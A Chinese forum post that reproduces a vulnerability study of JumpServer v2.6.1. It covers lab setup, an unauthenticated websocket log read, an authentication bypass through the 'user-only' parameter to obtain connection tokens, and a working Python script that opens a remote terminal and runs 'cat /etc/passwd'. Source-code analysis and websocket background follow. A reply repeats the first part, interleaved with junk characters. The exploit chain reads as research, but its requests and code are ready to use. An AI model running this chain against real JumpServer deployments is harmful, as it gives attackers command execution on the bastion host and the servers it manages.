找回密码
 注册
查看: 446|回复: 1

jumpserver安装使用,远程应用工具

[复制链接]

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
2.“资产列表”中添加资产
测试资产可连接性,保证资产存活
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
配置“登录方式”为自动登录
4.创建资产授权
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
"自动登录"则可调用系统预留密码直接连接。
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket4 H: }2 G# a8 A+ C
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。4 o' Q4 r# v  U) r" G5 R3 l- H
Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
7 W  C* x- W! a* ?" G$ q# M2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel/ @! U) o6 {8 ]2 k
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
$ R$ u1 b/ D+ e9 w0 L( O1 r4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。/ D+ X6 c# M# R% m
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。9 g, N# @" V5 j0 m1 ]
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。0 I0 ?- @% I  u+ }' G+ k! @
3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
5 }! J/ Z! |! d$ I

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包
  A. H: H; S2 P5 D: K  i; a4 c
7 B( w4 L( \( v' s- F9 j1 B% W+ H# git clone https://github.com/jumpserver/installer.git9 z# C2 [+ k- e' d
# cd installer?
* x4 D# m/ H& l/ [1 i% z) A国内docker源加速安装
5 _% W) ~" @& R/ O
* y7 y3 g0 a- `! B/ q: S# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
+ n9 a+ z. F0 {' _6 }# ./jmsctl.sh install
* g5 p( m' F+ y& Y升级到指定版本
. l1 Q) f) b/ k' a, r0 ~- m+ x0 v9 n; \. d0 n; f
# ./jmsctl.sh upgrade v2.6.19 B5 q* i+ e( z% b; E
启动服务4 x, N9 h0 X! |; q: }' f+ J
9 g9 a9 E+ F& Q7 S  k
#?./jmsctl.sh start0 Q* L7 ]: f. r
#?./jmsctl.sh restart
4 j- I; E/ v' g3 U; B% w4 c, {图片2 e+ [8 P7 z7 _) z  ?  Z( F
* f) i# ~. ^: j* B' p
环境配置- a( x2 n/ s- K- L2 g
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。6 \& }) @8 C+ p

% N) n6 D1 B# S2 L图片
& I$ E# i) B: `' L3 F
$ d) }+ l8 Q3 `4 z+ F1.添加管理用户。
& N" v  U% G  R2 r" k
3 h1 S2 Z8 P( S, j资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
/ g1 E6 N, ], u, K2 }6 c) Z* L/ a# e/ c( z4 z3 }
图片/ v5 G3 u* `& K- M) b5 U/ y, o
/ p1 x3 t& w2 B; d5 N7 ~
2.“资产列表”中添加资产
& O) [5 \8 K/ D3 W: K) g5 x7 h, d: F! _' i/ L& M5 _8 [1 G
图片% |- n  |- n  R6 ]% _* }# Z' f

  U1 @% o7 a0 {& |6 r% K+ x9 M8 _测试资产可连接性,保证资产存活9 n" N% m8 j' `: \; ]1 ~
. m( n7 r1 c) z8 D- s  o- U% O* U
图片* k6 ^3 I3 l* C5 q5 }
  |( y$ I) @: \- ]" T, _
图片
1 e) D4 n! x& s) h: K( y* X0 m+ U" {9 Q7 L
3.创建系统用户" S0 q# m& \/ K1 k- G2 ?* j! q
* _8 H5 V" ?! b' z7 g
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
/ H4 ]/ U+ k2 e; m4 u  D2 i( F+ |) g/ i# e) v/ b5 |
图片
2 ]! H: H8 K/ r% ?
# [# e$ T0 h6 Z* N( {# z/ b3 {配置“登录方式”为自动登录2 V) S9 P, ?1 ]( ]. i+ K2 A* @
  F  g5 e& o; U, A4 v' }+ ^5 H  {  \
图片
$ H; r* s8 J; z3 S! C3 R
/ G2 N: O7 G: x8 ^) r! z/ m& L4.创建资产授权. _6 Y7 B6 p9 ]& g$ @. D, Z4 d0 R
8 c- [) L0 X" P5 c2 Y: p
图片
8 ~/ w  j4 h" W4 b' D5 T0 X  W: T( i
5.使用“Web终端”连接资产
+ T  i: e* }% G7 d' {1 I# g6 z2 O3 T8 p: Q9 T
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。1 R) @$ b5 X4 q

! h3 B2 G' m: V, m4 b  J& `图片  D: ^$ E, E* H& m2 m7 N: ~' ^$ \# h
4 ^$ y# u0 L9 v2 I5 }/ A
Web终端以root用户名登录机器。3 l6 `7 T$ g1 Z8 }7 A7 b' G3 `) w
& U' ]5 q; b5 f% f1 ~& ?6 `
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
3 D1 o4 Q$ N& p2 i
5 T) I! T- o  B; B6 _! ]( V) @图片$ Z$ [! h& w! E, |/ `
2 l5 `5 z) T0 b) B9 p9 a
"自动登录"则可调用系统预留密码直接连接。
0 O9 k' y' s5 Y8 U4 p2 g: H/ Q6 Q6 K: ^6 k: Y) \% [# m6 q. [
图片
0 i4 L! q( {; U3 Q5 N% J' O( h6 z1 t, w9 k! y  f; ?5 Z
0x02漏洞利用/ W0 ?8 S# ^) Z2 V% }3 `9 w
日志文件读取! L6 B) Y) h8 c, A! U( k. Q
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。0 h0 o, h7 H; x' A+ }, X
% q% }' d$ j4 a! i# N# E
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
6 m3 F* R' ]* b. o7 r, H; J# I7 e6 l( f  L/ h" ]
图片
7 Q3 P5 q) V- ^" V: F7 ]1 }/ B4 H7 ~; c
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
$ l1 R0 a" [4 w6 `
$ ?6 ~6 i, Y- i/ X4 ~) }, r利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
) [$ ^' I- ?4 P  h+ Q; l1 v
# k/ l) z+ B/ t, Qws://192.168.18.182:8080/ws/ops/tasks/log/$ a* O+ l4 s) E+ a
{"task":"/opt/jumpserver/logs/gunicorn"}7 X  ~* U7 N8 ]6 g+ l
图片* i) l8 m& m. |4 v- }

3 G  }& \5 a) m* N7 x2 r, y" d在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。( U0 c% A6 I6 K5 T4 a* x1 n# H- E3 n
  Y' x% e7 d: l9 ^
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f; P4 |4 l5 F: M8 h! T
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73+ m, a. W0 O, n% I6 r: P, D/ N  o4 z
user_id=f26371c9-18c3-4c4e-979f-95d34ffdb9113 ?3 }( R* z$ p! `
认证绕过+获取token
, o0 W- Y8 D* a4 \9 J/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
) x7 b7 a. }; P& w
2 m8 k3 V7 @* B$ W% n两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。' V4 G( [- A; h  g0 \: n% o/ Q  B

3 l- K/ F2 q! ]( r$ n) T图片+ ?/ `3 B& Y& g( }) X
" @; o: p/ _. S" d
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
& U! m( Y9 K0 B; ~2 V6 b1 N' _0 n: Z  E) b2 ^6 ?# y% I+ K5 w
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1$ H9 Z: O" Y7 n: x" @; U
Host: 192.168.18.182:8080, X& o" J6 L; e+ p
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
* U$ ?" c6 L, ^, sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.80 H) t& c6 t: v
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.22 t+ T. ]( |' z7 _" d. H/ I  P) {
Accept-Encoding: gzip, deflate
5 {) @6 Y. Q  RConnection: close; M# F. K% {, ]8 e& x) [$ o
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D
* x, ^3 U, [$ F) f8 k& ^4 AUpgrade-Insecure-Requests: 11 N0 L7 Z0 O8 w# i2 N+ k: Y7 u1 ~' k
Content-Type: application/x-www-form-urlencoded
( j/ _9 Z0 ]) \Content-Length: 1337 z0 B- `: K4 {2 y( w2 |8 P
user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
* f9 A! ~, N' B图片
! n& J3 p0 [. f8 r. p: C( V2 g1 e% B
# s' A9 C; ^9 W  l上图请求接口替换成/api/v1/users/connection-token/达到的目的一样6 q( x# a8 F1 L1 R2 @7 i9 s
7 J' R8 s; D) C# c
图片
5 T2 \. U& ~2 T/ O; s
